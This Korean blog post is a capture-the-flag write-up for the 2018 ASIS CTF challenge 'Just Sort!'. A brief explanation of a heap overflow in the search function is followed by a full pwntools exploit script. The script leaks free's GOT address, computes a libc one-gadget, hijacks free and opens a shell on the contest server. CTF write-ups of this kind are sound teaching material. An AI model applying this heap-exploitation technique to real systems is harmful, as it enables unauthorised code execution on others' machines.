2018_Asis_CTF Just Sort!
CTF2018. 5. 3. 00:50
푸는 방식은 Cat과 거의 똑같다.
다른게 있다면 이 문제는 search라는 함수가 있는데 search를 분석해보면
사이즈를 어떻게 할당하던 무조건 read를 0x64만큼 받는다. 힙 오버플로우가 발생한다. 이걸 이용해서 똑같이 청크를 가리키고 있는 포인터를 조작하여 릭과 공격을 하면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | from pwn import* #p=process("./just_sort") p=remote('159.65.125.233',6005) elf =ELF("./just_sort") def insert(size,memo): p.sendlineafter("> ","1") p.sendlineafter("> ",str(size)) print p.sendlineafter("> ",memo) def edit(has,pos,memo): p.sendlineafter("> ","2") p.sendlineafter("> ",str(has)) p.sendlineafter("> ",str(pos)) print p.sendlineafter("> ",memo) def Print(): p.sendlineafter("> ","3") def search(many,value): p.sendlineafter("> ","4") p.sendlineafter("> ",str(many)) print p.sendafter("> ",value) def delete(has,pos): p.sendlineafter("> ","5") p.sendlineafter("> ",str(has)) print p.sendlineafter("> ",str(pos)) insert(16,"a"*16) insert(16,"b"*16) delete(1,0) search(16,"A"*16+p64(0x80)+p64(0x21)+"A"*16+p64(0)+p64(0x21)+p64(0)+p64(elf.got["free"])) Print() print p.recvuntil("hash_id:1") print p.recvuntil("0: \"") free=u64(p.recv(6)+"\x00\x00") base = free-0x844f0 one =base+0xf02a4 edit(1,0,p64(one)) delete(1,0) p.interactive() | cs |
다른 문제들도 풀어야겠다 ㅎ
'CTF' 카테고리의 다른 글
2018 0ctf babystack (0) | 2018.05.25 |
---|---|
2015 Codegate final yocto (0) | 2018.05.09 |
2018_Asis_CTF Cat (0) | 2018.05.03 |
2018 HITB-XCTF d (0) | 2018.04.15 |
2018 Codegate Final heapbabe & 후기 (0) | 2018.04.08 |